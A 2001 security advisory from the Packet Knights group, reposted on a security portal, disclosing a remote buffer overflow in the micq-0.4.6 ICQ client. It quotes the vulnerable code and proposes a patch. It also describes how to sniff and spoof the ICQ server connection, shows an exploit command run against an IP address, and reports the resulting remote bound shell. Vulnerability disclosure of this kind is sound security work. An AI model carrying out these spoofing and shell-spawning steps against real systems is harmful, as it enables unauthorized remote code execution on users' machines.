[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
 
 discussions
- read forum
- new topic
- search
 

 meetings
- meetings list
- recent additions
- add your info
 
 top 100 sites
- visit top sites
- sign up now
- members
 
 webmasters

- add your url
- add domain
- search box
- link to us

 
 projects
- our projects
- free email
 
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : micq-0.4.6 remote buffer overflow

Title: micq-0.4.6 remote buffer overflow
Released by: pkcrew.org
Date: 18th January 2001
Printable version: Click here
/*                                  pkc003.txt                          */



                           -=[ SECURITY ADVISORY #003 ]=-



                 _____________                         _______

                |              \  [www.pkcrew.org]   /         \

                 \             |   ______          /     ___     \

                  |            |  |_    _|  ___   |    /     \___|

                  |            |    |  |   /  _|  |   |

                  |    _______/     |  | /  /     |   |

                  |   /             |   _ <       |   |       ___

                  |   |    [PkC]    |  |  \ \     |    \_____/   |

                 _|   |_           _|  |_   \ \_   \             |

                |_______|         |______| |____|    \__________/



                               [ Packet Knights Crew ]



                           -=[ SECURITY ADVISORY #003 ]=-







        - Vulnerable program: micq-0.4.6 (Matt's ICQ clone). Maybe others.

        - Tested on: Linux/ix86 (Slackware 7.1 - RedHat 6.1)



        - Advisory author: tHE rECIdjVO 

        - Group: Packet Knights (http://www.pkcrew.org/)



        - Date of release: 01/18/2000



        - Problems: Remote buffer overflow

                    Local buffer overflow (not dangerous if not suid)



        - Impact: Remote vulnerablity allows to execute arbitrary code with

                the UID/GID of the user running micq.



        - Risk level: HIGH!



        - Exploit: Simple remote shell exploit for Linux/ix86 attached.



        - Dedicated to: Francesca (I'll never forget you :*)



        - Credits: The possible problem was signaled by |CyRaX| and asynchro.

                 Thanks to Nail for some crazy ideas :)



        - Greetings: Mozarela mia sinta giganta.

                     All PkC members, expecially |CyRaX| and asynchro.

                     All IRCNet friends, expecially Guybrush and IISBOSS.

                     All my Undernet bros.

                     My mom.

                     LOA guys.

                     cat ~/friends/*



        - Summary:

                micq-0.4.6 is one of the best ICQ emulator for linux console.

        There is a buffer overflow in sprintf() in icq_response.c in function

        Do_Msg() at line 879, that allows to a remote attacker able to sniff

        packets to ICQ server to execute arbitrary code on the victim system.

        There is a local buffer overflow, too.

        If you send an URL message with a too large description, the program

        receives a SIGSEGV.

        Because of the program is not suid, I don't analyze this bof further

        more.



        - Details:



        [ ... snip ... icq_response.c ... snip ... ]



void Do_Msg( SOK_T sok, DWORD type, WORD len, char * data, DWORD uin )

{

   char *tmp;

        int   x,m;

   char message[1024];

   char url_data[1024];

   char url_desc[1024];



        [ ... ]



   else if (type == URL_MESS || type == MRURL_MESS)

   {



      tmp = strchr( data, '\xFE' );

      if ( tmp == NULL )

      {

         M_print( "Ack!!!!!!!  Bad packet" );

         return;

      }

      *tmp = 0;

      char_conv ("wc",data);

      strcpy (url_desc,data);

      tmp++;

      data = tmp;

      char_conv ("wc",data);

      strcpy (url_data,data);



===>  sprintf (message,"Description: %s \n                          URL: %s",

===>            url_desc,url_data);

      if ( UIN2nick( uin ) != NULL )

         log_event( uin, LOG_MESS, "You received URL message from %s\n%s\n",

                UIN2nick(uin), message );

      else

         log_event( uin, LOG_MESS, "You received URL message from %d\n%s\n",

                uin, message );



      M_print( " URL Message.\n Description: " MESSCOL "%s" NOCOL "\n",

                url_desc );

      M_print(               " URL        : " MESSCOL "%s" NOCOL "\n",

                url_data );

   }



        [ ... snip ... icq_response.c ... snip ... ]



        The buffer overflow is due to a malicious URL message sent by the

        server. The client reads 1024 bytes from the UDP socket, trim the

        message headers and split the remaining data in the 1024 bytes

        url_data and url_desc, recombining in the message char buffer, adding

        about fifty digits. Because of the url_data is 1024 bytes long, this

        instruction can be used to overwrite the return address of the

function

        and execute arbitrary code on the client machine.



        - Solution:

        A simple patch can be to increase the message buffer size up to 50

        bytes. I've not tested if there are others problem fixin' in that way.

        I tryed to alert the micq author (Matt Smith), but homepage is out of

        order and email is unexistant.



        - Exploit:

        An exploit for Linux/ix86 is attached.

        Exploiting this bof is a little hard.

        The main problem is that we need a large amount of data to be send as

        URL, but ICQ servers seem to trim packets bigger than 500 bytes.

        So the mad way I've found is to spoof ICQ server and send the

malicious

        packet directly to the client (micq only uses server connection).

        In order to make it works, we need some extra data on the connection,

        that requires sniffing at least one packet from the existant

connection,

        like , that identify the connection. This can be done

        easily with tcpdump 3.6.1 (http://www.tcpdump.org/). Let's see how:



        (data and ip are random)

        [root@pkcrew:~]# tcpdump -i eth0 -s 49 -tnx udp src port 4000

        tcpdump: listening on eth0

        [ ... ]

        205.188.153.105.4000 > 32.96.111.130.1080:  udp 21 (DF)

                                 4500 0031 747f 4000 eb11 a72c cdbc 996a

                                 ceb6 3e32 0fa0 0501 001d 4c3d 0500 00f4

                                 b10f 5a

        [ ... ]

        16 packets received by filter

        0 packets dropped by kernel

        [root@pkcrew:~]#

        ( is the last 4 shown bytes)



        Now we have all the data we need.

        Let's try to exploit this (don't try THIS ;)



        [root@pkcrew:~]# ./micRAq 32.96.111.130 1080 205.188.153.105 f4b10f4a

                [ [ micRAq ] - by tHE rECIdjVO  ]

                        Packet Knights - http://www.pkcrew.org/



        Using buffer address: 0xbfffedb0



                "To be, or not to be.

                This is the question."

                                (William Shakespere)



        Trying 32.96.111.130...

        Connected to 32.96.111.130.

        Escape character is '^]'.

        bash$



        Good :P



        The program sends a spoofed UDP packet formatted to be parsed as an

URL

        message, but with malicious code in it. It was written using my linux

        buffer address and offset, but it can be easily changed for other

        situations.

        The shellcode open a shell on port 3879/tcp, then the exploit sends

        the execution of a inetd session with a shell binded on port

10000/tcp,

        and execl() to telnet on that port, giving you an interactive sh on

the

        remote machine.



        WARNING: when micq crashes, it prints the malicious URL, so on the

                 other side the victim see a lot of unprintable characters

                 and the /bin/sh string too.



        That's all ;)



/*                                  pkc003.txt                          */



--

tHE rECIdjVO

Member of the Packet Knights

http://www.pkcrew.org/












(C) 1999-2000 All rights reserved.